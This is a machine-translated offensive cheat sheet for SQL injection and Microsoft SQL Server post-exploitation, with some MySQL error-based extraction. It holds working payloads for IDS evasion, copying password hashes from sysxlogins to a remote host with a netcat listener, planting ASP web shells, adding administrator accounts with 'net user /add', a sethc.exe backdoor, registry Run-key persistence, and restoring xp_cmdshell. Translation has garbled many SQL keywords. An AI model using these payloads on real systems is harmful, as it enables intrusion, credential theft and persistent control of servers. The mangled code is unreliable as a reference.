[Iegūt datu tabulas lauka nosaukumu] [Atjauniniet lauka vērtību uz lauka nosaukumu un pēc tam nolasiet šī lauka vērtību, lai iegūtu lauka nosaukumu] Atjaunināt tabulas nosaukuma kopu lauks=(atlasiet 1. augšējo col_blank>_name(object_blank>_id (vaicājuma datu tabulas nosaukums), lauka kolonna
Piemēram: 1) [ kur nosacījums]
IDS noteikšanas apiešana [mainīgo izmantošana] ; deklarēt @a sysname kopu @a=xp_blank>_+cmdshell exec @a dir c:\ ; deklarēt @a sysname kopu @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Atveriet attālo _blank> datu bāzi Pamata sintakse atlasiet * no OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, izvēlieties * no tabulas1 ) Parametri: (1) OLEDB pakalpojumu sniedzēja nosaukums 2. Savienojuma virknes parametrs var būt jebkurš savienojums, piemēram, atlasiet * no OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,
Izvēlieties * no tabulas 3. Kopējiet visu mērķa resursdatora _blank> datu bāzi un ievietojiet visas attālās tabulas vietējā tabulā.
Pamata sintakse: ievietot OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, atlasiet * no tabulas1) atlasiet
* no tabulas2 Šis rindas pārskats kopē visus datus no tabulas tabulas2 mērķa resursdatorā uz tabulu table1 attālās _blank> datu bāzē. Atbilstošs remonts praktiskā pielietojumā
Mainiet savienojuma virknes IP adresi un portu, lai norādītu uz nepieciešamo vietu, piemēram: ievietot OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,izvēlieties
* no tabulas1) izvēlieties * no tabulas2 ievietot OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,izvēlieties
* no _blank>_sysdatabases) Izvēlieties * no master.dbo.sysdatabases ievietot OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,izvēlieties
* no _blank>_sysobjects) Atlasiet * no user_blank>_database.dbo.sysobjects ievietot OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,izvēlieties
* no _blank>_syscolumns) Atlasiet * no user_blank>_database.dbo.syscolumns Replicēt _blank> datu bāzi: ievietot OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,izvēlieties
* no tabulas1) izvēlieties * no datu bāzes.. 1. tabula ievietot OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,izvēlieties
* no tabulas2) izvēlieties * no datu bāzes.. 2. tabula
Paroles jaucējkods, kas kopē jaucējtabulas (HASH) pieteikšanās _blank> paroli, tiek glabāts sysxlogins. Tālāk ir aprakstīts, kā to paveikt. ievietot OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,atlasiet * no _blank>_sysxlogins)
Izvēlieties * no database.dbo.sysxlogins Kad esat ieguvis hash, jūs varat to brutāli piespiest.
Lai šķērsotu direktoriju: Vispirms izveidojiet pagaidu tabulu: temp ; izveidot tabulu temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; ievietojiet temp exec master.dbo.xp_blank>_availablemedia; - Iegūstiet visus pašreizējos diskus ; ievietot temp(id) exec master.dbo.xp_blank>_subdirs c:\; - Iegūstiet apakšdirektoriju sarakstu ; ievietot temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; - Iegūstiet direktoriju koka struktūru visiem apakšdirektorijiem,
Collu sapludināšana pagaidu tabulā ; ievietot temp(id) exec master.dbo.xp_blank>_cmdshell ierakstiet c:\web\index.asp; - Skatīt failu
Saturs ; ievietot temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; – ; ievietot temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; insert in temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs uzskaitījums w3svc ; ievietot temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – xp_blank>_dirtree Piemērojamā iestāde
PUBLISKI) Rakstiet uz tabulu: 1. apgalvojums: un 1=(Atlasiet IS_blank>_SRVROLEMEMBER(sysadmin)); – 2. apgalvojums: un 1=(Atlasiet IS_blank>_SRVROLEMEMBER(serveradmin)); – 3. apgalvojums: un 1=(Atlasiet IS_blank>_SRVROLEMEMBER(setupadmin)); – 4. apgalvojums: un 1=(Atlasiet IS_blank>_SRVROLEMEMBER(securityadmin)); – 5. apgalvojums: un 1=(Atlasiet IS_blank>_SRVROLEMEMBER(securityadmin)); – 6. apgalvojums: un 1=(Izvēlieties IS_blank>_SRVROLEMEMBER(diskadmin)); – Apgalvojums 7: un 1=(Atlasiet IS_blank>_SRVROLEMEMBER(bulkadmin)); – Apgalvojums 8: un 1=(Izvēlieties IS_blank>_SRVROLEMEMBER(bulkadmin)); – 9. apgalvojums: un 1=(Izvēlieties IS_blank>_MEMBER(db_blank>_owner)); –
Uzrakstiet ceļu uz tabulu: ; izveidot tabulas dirs(paths varchar(100), id int)- ; Ievietojiet dirs exec master.dbo.xp_blank>_dirtree c:\– un 0<> (atlasiet 1 labākos ceļus no dirs) - un 0<>(atlasiet 1 labākos ceļus no dirs, kur ceļi nav (@Inetpub))- ; izveidot tabulas dirs1 (ceļi varchar (100), id int) - ; Ievietojiet dirs exec master.dbo.xp_blank>_dirtree e:\web– un 0<> (izvēlieties 1 labākos ceļus no dirs1) -
Datu bāzes dublēšana _blank> tīmekļa direktorijā: Lejupielādēt ; deklarēt @a sysname; iestatiet @a=db_blank>_name(); dublēt datu bāzes @a uz disk=e:\web\down.bak; –
un 1=(Atlasīt top 1 nosaukumu no(Atlasīt top 12 id,nosaukumu no sysobjects, kur xtype=char(85)) T
Pasūtījums pēc ID desc) un 1=(Atlasiet Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) no sysobjects) Skatīt arī
Saistītās tabulas. un 1=(izvēlieties user_blank>_id no USER_blank>_LOGIN) un 0=(atlasīt lietotāju no USER_blank>_LOGIN kur lietotājs>1)
-=- wscrip{filter}t.shell piemērs -=- deklarēt @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
deklarēt @o int, @f int, @t int, @ret int deklarēt @line varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline @line out kamēr ( @ret = 0 ) Sākt drukāt @line exec @ret = sp_blank>_oamethod @f, readline @line out beigas
deklarēt @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
deklarēt @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar izpildes sp_blank>_oasetproperty @o, ātrums, 150 exec sp_blank>_oamethod @o, runāt, NULL, visi jūsu turpinājuma serveri pieder,mums, 528 Gaidīšanas kavēšanās 00:00:05
; deklarēt @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, runājiet, NULL, visi jūsu turpinājuma serveri pieder mums, 528 gaidīšanas kavēšanās
00:00:05–
xp_blank>_dirtree piemērojamo PUBLISKO atļauju exec master.dbo.xp_blank>_dirtree c: atgrieztajai informācijai ir divi lauki: apakšdirektorija, dziļums. Apakšdirektoriju lauki
Rakstzīmju tips, dziļuma lauks ir veidošanas lauks. izveidot tabulas dirs(ceļi varchar(100), id int) Tabulas veidošana, šeit izveidotā tabula ir saistīta ar iepriekš minēto xp_blank>_dirtree, ar vienādiem laukiem un tādu pašu tipu. insert dirs exec master.dbo.xp_blank>_dirtree c: Kamēr mēs veidojam tabulu un vienādi definējam glabāšanas procesa atgrieztos laukus
Izpildiet! Lai sasniegtu tabulu rakstīšanas efektu, soli pa solim, lai sasniegtu vēlamo informāciju! Šī kļūdas injekcija galvenokārt ir balstīta uz MySQL datu tipa pārplūdi mysql > SELECT 18446744073709551610 * 2 ; KĻŪDA 1690 ( 22003 ): BIGINT UNSIGNED vērtība ir ārpus diapazona '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; KĻŪDA 1690 ( 22003 ): BIGINT UNSIGNED vērtība ir ārpus diapazona '(- (1) *
9223372036854775808)' Vaicājumu datu bāzes versija: mysql> SELECT * 2 (ja ((SELECT * no (SELECT (versija ()) ) s), 18446744073709551610,
18446744073709551610)); KĻŪDA 1690 (22003): BIGINT UNSIGNED vērtība ir ārpus diapazona '(2 * if (( Atlasīt ' 5.5 ' no
Dual), 18446744073709551610.18446744073709551610))" Iegūstiet lauka nosaukumu: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from
test.shop 1. robeža), 18446744073709551610, 18446744073709551610);
KĻŪDA 1690 (22003): BIGINT UNSIGNED vērtība ir ārpus diapazona '(2 * if(((atlasīt)
'prece','tirgotājs','cena' no (izvēlieties 'test'.'veikals'.'prece'' AS
"prece","tests"."veikals"."tirgotājs" AS "tirgotājs","tests"."veikals"."cena" AS "cena" no
'test'.'shop') ierobežojums 1) > (atlasiet
"tests"."veikals"."prece","tests"."veikals"."tirgotājs","tests"."veikals"."cena" no "tests"."veikals" ierobežojums
1)),18446744073709551610,18446744073709551610))' Iegūstiet lauka vērtību:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) kā '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
KĻŪDA 1690 (22003): BIGINT UNSIGNED vērtība ir ārpus diapazona '(2 * if(((atlasīt)
'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y',','Y',','
Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','0','0','','' NO DIVKĀRŠĀ IEROBEŽOJUMA 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Ņemiet vērā, ka šī metode nedarbojas ar vecākām MySQL versijām, un jums būs jāzina kļūdas ziņojuma garuma ierobežojums, jo tas noteiks
Jūs varat saņemt tik ilgi, cik vēlaties: mysys / my_error.c
/* Maksimālais kļūdas ziņojuma garums. Jāsinhronizē ar MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Ja objekts ir MariaDB (MySQL dakša), izmēģinot iepriekš minēto metodi, varat redzēt šādu kļūdas ziņojumu:
mysql> SELECT 2*(if((SELECT * from (SELECT (version())))s), 18446744073709551610,
18446744073709551610)) KĻŪDA 1690 (22003): BIGINT UNSIGNED vērtība ir ārpus diapazona '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Kā risinājumu šo problēmu var atrisināt šādā veidā:
mysql> SELECT (I NAV NULL) - -9223372036854775808 FROM (SELECT (version())i)a; KĻŪDA 1690 (22003): BIGINT vērtība ir ārpus diapazona '(('5.5-MariaDB' nav nulle) - -
(9223372036854775808))' Tagad redzēsim, vai mēs varam padarīt mūsu vektoru nedaudz īsāku
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) = atlasiet 1E308*if((atlasīt*no(atlasīt versiju())x),2,2)
SELECT (I NAV NULL) - -9223372036854775808 FROM (SELECT (version())i)a = atlasiet if(x,2,2)*1E308 no(atlasīt versiju()x)y
//获取表字段名称 SELECT 2 * if((SELECT * no (select * from test.shop) kā '' ierobežojumu 1)>(SELECT * no
test.shop 1. robeža), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) kā '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user ierobežojums 0),2,2)
//获取指定字段的值 atlasiet 1E308*if((atlasīt lietotāju|| saimnieks|| parole|| file_priv from(atlasīt*no mysql.user LIMIT
1)ierobežojums 1),2,2)
//获取字段个数
atlasiet 1E308*if((atlasīt*no mysql.user 1. ierobežojuma)>(atlasīt 1),2,2)
Dažas citas deformācijas
SELECT (I NAV NULL) - -9223372036854775808 FROM (SELECT (version())i)a atlasiet 1E308*if((atlasīt lietotāju|| saimnieks|| parole|| file_priv from(atlasīt*no mysql.user LIMIT
1)ierobežojums 1),2,2); => atlasiet 2*if((atlasīt lietotāju|resursdatoru|paroli|file_priv no(atlasīt*no mysql.user LIMIT 1)ierobežojumu
1),1e308,0); mysql> izvēlieties (atlasiet * no mysql.user)=1; mysql> izvēlieties (atlasiet * no mysql.user)in(1);
KĻŪDA 1241 (21000): Operandam jābūt 42 kolonnām(-ām) atlasiet 2*if((atlasīt lietotāju|resursdatoru|paroli|file_priv no(atlasīt*no mysql.user LIMIT 1)ierobežojumu
1),1e308,0); atlasiet if((atlasīt lietotāju|| saimnieks|| parole|| file_priv no(atlasīt*no mysql.user LIMIT 1)a
robeža 1),2,2)*1E308 SELECT (I NAV NULL) - -9223372036854775808 FROM (SELECT (version())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; KĻŪDA 1690 (22003): BIGINT UNSIGNED vērtība ir ārpus diapazona '((not('root@localhost')) - ~
(0))' 3. Spriediet par datu bāzes sistēmu ; un (atlasiet count(*) no sysobjects)>0 mssql ; un (atlasiet count(*) no msysobjects)>0 access 4. Injekcijas parametrs ir rakstzīme 'un [vaicājuma kritēriji] un ''=' 5. Meklēšanas laikā nav filtrētu parametru 'un [vaicājuma kritēriji] un '%25'=' 6. Uzminiet datu bāzi ; un (atlasiet Count(*) no [datu bāzes nosaukums])>0 7. Uzminiet lauku ; un (datu bāzes nosaukumā atlasiet Count(lauka nosaukums)>0 8. Uzminiet ieraksta garumu laukā ; un (atlasiet 1. augšējo len (lauka nosaukums) no datu bāzes nosaukuma)>0 9. (1) Uzminiet lauka ASCII vērtību (piekļuve) ; un (atlasiet top 1 asc(mid(lauka nosaukums, 1,1)) no datu bāzes nosaukuma)>0 (2) Uzminiet lauka ASCII vērtību (mssql) ; un (atlasiet top 1 unicode(apakšvirkne(lauka nosaukums, 1,1)) no datu bāzes nosaukuma)>0 10. Testa atļauju struktūra (mssql) ; un 1=(atlasiet IS_SRVROLEMEMBER('sysadmin')); -- ; un 1=(atlasiet IS_SRVROLEMEMBER('serveradmin')); -- ; un 1=(atlasiet IS_SRVROLEMEMBER('setupadmin')); -- ; un 1=(atlasiet IS_SRVROLEMEMBER('securityadmin')); -- ; un 1=(atlasiet IS_SRVROLEMEMBER('diskadmin')); -- ; un 1=(atlasiet IS_SRVROLEMEMBER('bulkadmin')); -- ; un 1=(atlasiet IS_MEMBER('db_owner')); -- 11. Pievienojiet kontu mssql un sistēmai ; exec master.dbo.sp_addlogin lietotājvārds; -- ; exec master.dbo.sp_password null,lietotājvārds,parole; -- ; exec master.dbo.sp_addsrvrolemember sysadmin lietotājvārds; -- ; exec master.dbo.xp_cmdshell 'neto lietotāja lietotājvārds parole /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'neto lietotāja lietotājvārda parole /add'; -- ; exec master.dbo.xp_cmdshell 'neto vietējās grupas administratoru lietotājvārds /add'; -- 12. (1) Šķērsojiet katalogu ; izveidot tabulas dirs(ceļi varchar(100), id int) ; Ievietojiet dirs exec master.dbo.xp_dirtree 'c:\' ; un (atlasiet 1 populārākos ceļus no dirs)>0 ; un (izvēlieties 1 labākos ceļus no dirs, kur ceļi nav ('ceļi, kas iegūti no iepriekšējā soļa'))>) (2) Šķērsojiet katalogu ; izveidot tabulu temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; ievietojiet temp exec master.dbo.xp_availablemedia; -- Iegūstiet visus pašreizējos diskus ; ievietot temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Iegūt apakšdirektoriju sarakstu ; ievietot temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Iegūstiet direktoriju koka struktūru visiem apakšdirektorijiem ; ievietot temp(id) exec master.dbo.xp_cmdshell 'ierakstiet c:\web\index.asp'; -- Skatīt faila saturu 13. Saglabātās procedūras mssql xp_regenumvalues reģistra saknes atslēga, bērna atslēga ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' un daudz ko citu
Ierakstu kopas metode, lai atgrieztu visas atslēgas vērtības xp_regread Saknes atslēga, bērna atslēga, atslēgas-vērtības nosaukums ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' atgriež formulējuma atslēgas vērtību xp_regwrite Saknes atslēga, bērnatslēga, vērtības nosaukums, vērtības tips, vērtība Ir divu veidu vērtību tipi: REG_SZ REG_DWORD rakstzīmju tipiem un veseliem skaitļiem ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','TestvalueName','reg_sz','hello' tiek ierakstīti reģistrā xp_regdeletevalue Saknes atslēga, apakšatslēga, vērtības nosaukums exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', lai noņemtu vērtību xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' dzēšanas atslēga,
Iekļaut visas vērtības zem šīs atslēgas 14. MSSQL dublēšana izveido tīmekļa čaulu Izmantojiet modeli izveidot tabulu cmd(str attēls); ievietojiet cmd(str) vērtības ('<% Dim oscrip{filter}t %>'); dublēt datu bāzes modeli uz disk='c:\l.asp'; 15. MSSQL iebūvētās funkcijas ; un (atlasiet @@version)>0, lai iegūtu Windows versijas numuru ; un user_name()='dbo', lai noteiktu, vai pašreizējās sistēmas pievienotais lietotājs ir SA ; un (atlasiet user_name())>0 Eksplodēja pašreizējās sistēmas pievienotos lietotājus ; un (atlasiet db_name())>0, lai iegūtu pašreiz pievienoto datu bāzi 16. Īss tīmekļa apvalks Izmantojiet modeli izveidot tabulu cmd(str attēls); Ievietojiet cmd(str) vērtības ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); rezerves datu bāzes modelis uz disk='g:\wwwtest\l.asp'; Pieprasot, izmantojiet kaut ko līdzīgu:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Iegūstiet visus datu bāzu nosaukumus, ieskaitot sistēmas datu bāzes –SELECT nosaukumu FROM master.dbo.sysdatabases
– Visu ar sistēmu nesaistītu datu bāzu nosaukumu iegūšana –atlasiet [nosaukums] no master.dbo.sysdatubāzēs, kur DBId>6 Kārtot pēc [nosaukums]
– Iegūstiet visu informāciju, ieskaitot datu bāzes faila adresi –atlasiet * no master.dbo.sysdatubāzēs, kur DBId>6 Order By
[Vārds]
Šis priekšraksta vaicājums atgriež visas lietotāju tabulas
Atlasiet * no sysObjects, kur Xtype='u'
Vaicājiet visu datu tabulas informāciju sistēmā
Atlasiet * no sysObjects
Apskatiet ierīces nosaukumu Izvēlieties * no sys.servers
Kolonnas satura rādītājs exec master.dbo.xp_subdirs 'c:\'
exec master.dbo.xp_dirtree 'c:',1,1 db_owner Atļaujas var tikt īstenotas
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Programmas kods, rakstīts tīmekļa čaulā
exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; exec sp_makewebtask 'd:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
izpildīt meistaru .. xp_enumgroups
Šķērsošanas sistēmas lietotāji
izpildīt meistaru .. xp_getnetname Pašreizējā datora nosaukuma iegūšana
- Uzskaitiet serverī fiksētos diskus kopā ar pieejamo vietu katram diskam DBO PUBLISKAIS
izpildīt
xp_ntsec_enumdomains
-- Izveidojiet kontu, lai pieteiktos MSSQL exec master.dbo.sp_addlogin vārds, caurlaide; --
-- Servera domēna nosaukuma uzskaitījums xp_ntsec_enumdomains // Mašīnas nosaukums //dbo public
-- Pakalpojuma apturēšana vai startēšana xp_servicecontrol 'stop', 'schedule' //schedule ir pakalpojuma nosaukums //dbo
--Izmantojiet pid
Izpildes programmas apturēšana xp_terminate_process 123 //123 ir pid //dbo
-- Tiek uzskaitīti tikai direktorija apakšdirektoriji dbo.xp_subdirs "C:" //dbo
SQL serveris xp_cmdshell atvēršanas metode 2005. gadā EXEC sp_configure "rādīt papildu opcijas", 1; PĀRKONFIGURĒT; IZPILDDIREKTORS
sp_configure "xp_cmdshell", 1; PĀRKONFIGURĒT;
SQL2005 Atveriet 'OPENROWSET' Atbalstītās metodes: exec sp_configure 'rādīt papildu opcijas', 1; PĀRKONFIGURĒT; exec sp_configure 'Ad Hoc
Izkliedētie vaicājumi",1; PĀRKONFIGURĒT;
SQL2005, lai iespējotu "sp_oacreate" atbalstu, veiciet tālāk norādītās darbības. exec sp_configure 'rādīt papildu opcijas', 1; PĀRKONFIGURĒT; izpilddirektors
sp_configure "Ole automatizācijas procedūras",1; PĀRKONFIGURĒT
Kā iespējot xp_cmdshell SQL Server 2008
-- Atļaut mainīt papildu opcijas. IZPILDDIREKTORS
sp_configure "rādīt papildu opcijas", 1 IET -- Lai atjauninātu pašreiz konfigurēto vērtību
papildu opcijas. PĀRKONFIGURĒT IET -- Lai iespējotu šo funkciju. EXEC sp_configure 'xp_cmdshell', 1 IET -- Uz
Atjauniniet šī līdzekļa pašlaik konfigurēto vērtību. PĀRKONFIGURĒT IET
exec xp_cmdshell 'ipconfig'
Šodien es gribēju mainīt datu bāzes servera SA pieteikšanās paroli, bet pēkšņi aizmirsu, tāpēc man bija jāatver vaicājumu analizators ar citu kontu palīdzību, lai mainītu SA paroli
Tas ir ļoti vienkārši:
Izpilde: sp_password Null,'teracypwd,'sa' Iestatiet SA paroli uz "teracypwd"
Pēc veiksmīgas izpildes
Ir "Komanda (-as) veiksmīgi pabeigta". LABI!
Db atļaujā atdaliet MSSQL datu bāzes servera IP iegūšanas metodi
1. Vietējais NC klausās NC -VVLP 80
2.; ievietot
OPENROWSET('SQLOLEDB','uid=sa; pwd = xxx; Tīkls = DBMSSOCN; Adrese=tavs ip, 80; ', 'atlasīt * no
dest_table') izvēlieties * no src_table; --
Izvēlieties * no OpenRowSet
('sqloledb','serveris=125.110.145.130,6789; uid=sa; pwd=zhu','atlasīt lietotāju; ')
Datu bāzes importēšana un eksportēšana
/*不同服务器数据库之间的数据操作*/
--Izveidot saišu serveri exec sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Attālā servera nosaukums vai IP adrese' exec sp_addlinkedsrvlogin 'ITSV', 'false
',null, 'lietotājvārds', 'parole'
--vaicājuma piemērs atlasiet * no ITSV.database name.dbo.table nosaukuma
--importa piemērs Izvēlieties *
tabulā no ITSV.databasename.dbo.tablename
--Dzēst saistīto serveri, ja tas vairs netiek izmantots nākotnē exec sp_dropserver "ITSV",
"Droplogins"
-- Savienojuma izveide ar attālajiem/LAN datiem (openrowset/openquery/opendatasource) --1、openrowset
--vaicājuma piemērs Izvēlieties *
no openrowset( 'SQLOLEDB ', 'SQL servera nosaukums '; "Lietotājvārds"; 'parole', datu bāzes nosaukums.dbo.table nosaukums)
-- Lokālās tabulas ģenerēšana atlasiet * tabulā no openrowset( 'SQLOLEDB ', 'SQL servera nosaukums '; "Lietotājvārds"; "Parole", numurs
Saskaņā ar datu bāzes nosaukumu.dbo. tabulas nosaukums)
-- Lokālās tabulas importēšana attālajā tabulā insert openrowset( 'SQLOLEDB', 'sql server name'; "Lietotājvārds"; "Paroles", datubāzes
nosaukums.dbo.tabulas nosaukums) Izvēlieties *no vietējās tabulas
-- Vietējo tabulu atjaunināšana Atjaunināt B iestatīt b. kolonna A = a no openrowset( 'SQLOLEDB ', 'SQL servera nosaukums '; "Lietotājvārds"; '
parole ', datu bāzes nosaukums .dbo.table nosaukums) kā iekšējā savienojuma lokālā tabula b uz a.kolonna1=b.kolonna1
--openquery Lietošanai nepieciešams izveidot savienojumu
- Vispirms izveidojiet savienojumu, lai izveidotu saišu serveri exec sp_addlinkedserver 'ITSV ', ' ',
'SQLOLEDB', 'attālā servera nosaukums vai IP adrese' --Jautāt Izvēlieties * FROM openquery(ITSV, 'SELECT * FROM dati
library.dbo.table nosaukums ') -- Lokālās tabulas importēšana attālajā tabulā insert openquery(ITSV, 'SELECT * FROM database.dbo.table name') Izvēlieties * no vietējā
galds --atjaunināt lokālo tabulu Atjaunināt B set b. kolonna B=a FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
kā iekšējais savienojums vietējā tabula b uz a. kolonna A=b. kolonna A
--3、opendatasource/openrowset IZVĒLIETIES * NO
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Lietotāja ID=Lietotājvārds; Parole=Parole '
).test.dbo.roy_ta -- Lokālās tabulas importēšana attālajā tabulā
xp_cmdshell dzēšana un atjaunošana
Veidi, kā atgūt xp_cmdshell Izdzēsiet paplašinātās saglabāšanas procedūras xp_cmdshell
Paziņojums exec sp_dropextendedproc 'xp_cmdshell'
Atgūt cmdshell sql paziņojumu exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
izpilddirektors
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Izvēlieties count(*) no
master.dbo.sysobjects, kur xtype='x' un Atgrieztais rezultāts ir 1, un tas ir OK
Pretējā gadījumā jums ir jāaugšupielādē c:\inetput\web
\xplog70.dll vēlāk exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Ja izdzēšat to šādā veidā Pilienu procedūra sp_addextendedproc Pilienu procedūra sp_oacreate izpilddirektors
sp_dropextendedproc "xp_cmdshell"
To var atjaunot ar šādu paziņojumu dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc
addextendedproc ("xp_cmdshell","xplog70.dll")
Tādā veidā to var atjaunot tieši neatkarīgi no tā, vai sp_addextendedproc pastāv vai nav
1、 Izmantojiet xp_cmdshell: exec master.dbo.xp_cmdshell "neto lietotāja administratora administrators /add" izpilddirektors
master.dbo.xp_cmdshell "neto vietējās grupas administratoru administrators /add"
xp_cmdshell gadījumā izmantojiet sp_oacreate, lai ievērotu sp_oamethod: deklarēt @object int izpilddirektors
sp_oacreate 'wscrip{filter}t.Shell', @object out exec sp_oamethod
@object,'Palaist',NULL,'neto lietotāja administratora administrators /pievienot' exec sp_oamethod @object,'Palaist',NULL,'net
vietējās grupas administratoru administrators /add'
Piezīme: regsvr32 /s c:\windows\system32\wshom.ocx Sākt wscrip{filter}t.shell 3、 Izmantojiet sp_oacreate un FSO deklarēt @o int exec sp_oacreate
'scrip{filter}ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows
\explorer.exe' ,'C:\Windows\System32\sethc.exe'; deklarēt @oo int izpilddirektors
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out izpilddirektors sp_oamethod @oo,
'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Izmantojiet xp_regwrite (db_owner, nepieciešama atsāknēšana): exec master.dbo.xp_regwrite
'hkey_local_machine','Programmatūra\Microsoft\Windows\CurrentVersion\
Izpildīt','EADD1','reg_sz','Neto lietotāja administratora administrators /pievienot' exec master.dbo.xp_regwrite
'hkey_local_machine','Programmatūra\Microsoft\Windows\CurrentVersion\
Palaist','EADD2','reg_sz','Neto vietējās grupas administratoru administrators /pievienot' 5. Izmantojiet sp_add_job: izpilddirektors
master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' MSDB exec sp_delete_job izmantošana
null,'x' exec sp_add_job 'x' exec sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add' exec sp_add_jobserver
Null,'x',@@servername exec sp_start_job 'x'
Daudzi SA ir guvuši panākumus daudzās mašīnās, kas tieši izmanto smilšu kastes režīmu, bet es nekad to neesmu praktizējis un nezinu, kāds ir panākumu līmenis. Kad paplašinājums tiek noņemts, vispirms
Atjaunojiet lasīšanas un rakstīšanas krātuvi reģistrā. dbcc addextendedproc ("xp_regread", "xpstar.dll") dbcc addextendedproc
("xp_regwrite", "xpstar.dll")
